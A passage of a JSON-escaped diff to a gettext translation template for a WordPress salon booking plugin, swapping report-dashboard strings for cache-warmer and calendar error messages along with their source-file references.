build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:360, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:360\n-msgid \"Top Services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:47\n+msgid \"Cache Not Populated\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:365, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:365, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:365, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:293, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:365, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:365\n-msgid \"Performance by Bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:43\n+msgid \"Cache Populated\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:371, views\u002Fadmin\u002Freports-dashboard.php:408, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:371, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:408, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:371, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:299, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:336, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:408\n-msgid \"Performance by Revenue\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:164\n+msgid \"Cache Populated:\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:381, views\u002Fmetabox\u002Fbooking.php:131, views\u002Fmetabox\u002Fbooking.php:129, views\u002Fmetabox\u002Fbooking.php:632, views\u002Fmetabox\u002F_booking_services.php:105, views\u002Fmetabox\u002F_booking_services.php:251, src\u002FSLN\u002FPostType\u002FService.php:258, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:381, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:131, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:129, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:632, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:251, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:258, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:381, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:131, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:129, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:632, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:309, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:517, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:381, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:381, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:632, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:251, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:258\n-msgid \"Service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:39\n+msgid \"Cache Status\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:382, views\u002Fadmin\u002Freports-dashboard.php:419, views\u002Fadmin\u002Freports-dashboard.php:515, src\u002FSLN\u002FPostType\u002FBooking.php:628, src\u002FSLN\u002FPostType\u002FBooking.php:632, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:40, src\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:382, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:419, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:515, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:628, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:632, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:382, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:419, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:515, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:443, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:382, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:419, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:515, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:382, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:419, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:515, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:628, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:632, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:613, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:617, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:613, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:617, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:628, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:632, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37\n-msgid \"Bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:169\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:169\n+msgid \"Cache warmed in\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:383, views\u002Fadmin\u002Freports-dashboard.php:420, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:383, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:420, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:383, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:311, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:348, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:383, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:383, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:420\n-msgid \"Revenue\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:24\n+msgid \"Cache Warmer\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:384, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:384, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:312, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:384\n-msgid \"Avg. Price\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:24\n+msgid \"Calendar\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:397, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:397, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:397, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:397, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:397\n-msgid \"Assistant Performance\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:14\n+msgid \"Calendar is not configured\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:402, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:402, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:402, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:402, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:402\n-msgid \"Performance by Hours\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:421\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:421\n+msgid \"Calendar: Event URL is not set\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:418, views\u002Fmetabox\u002Fservice.php:462, src\u002FSLN\u002FPostType\u002FAttendant.php:253, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:418, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:462, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:253, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:418, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:462, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:462, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:418, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:462, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:418, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:462, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:253\n-msgid \"Assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:423\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:423\n+msgid \"\"\n+\"Calendar: Time split parameter should divide 60 without decimals. Something \"\n+\"like 10, 15, 30\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:421, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:421, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:421, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:421, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:421\n-msgid \"Hours\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:419\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:419\n+#, php-format\n+msgid \"Calendar: View %s not found\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:422, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:422, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:422, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:422, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:422\n-msgid \"Utilization\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:420\n+#, php-format\n+msgid \"\"\n+\"Calendar: Wrong date format %s. Should be either \\\"now\\\" or \\\"yyyy-mm-dd\\\"\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:442, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:442, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:442, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:442, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:442\n-msgid \"Avg. Customer Lifetime Value\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:422\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:422\n+#, php-format\n+msgid \"\"\n+\"Calendar: Wrong navigation direction %s. Can be only \\\"next\\\" or \\\"prev\\\" or \"\n+\"\\\"today\\\"\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:455, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:455, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:455, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:383, 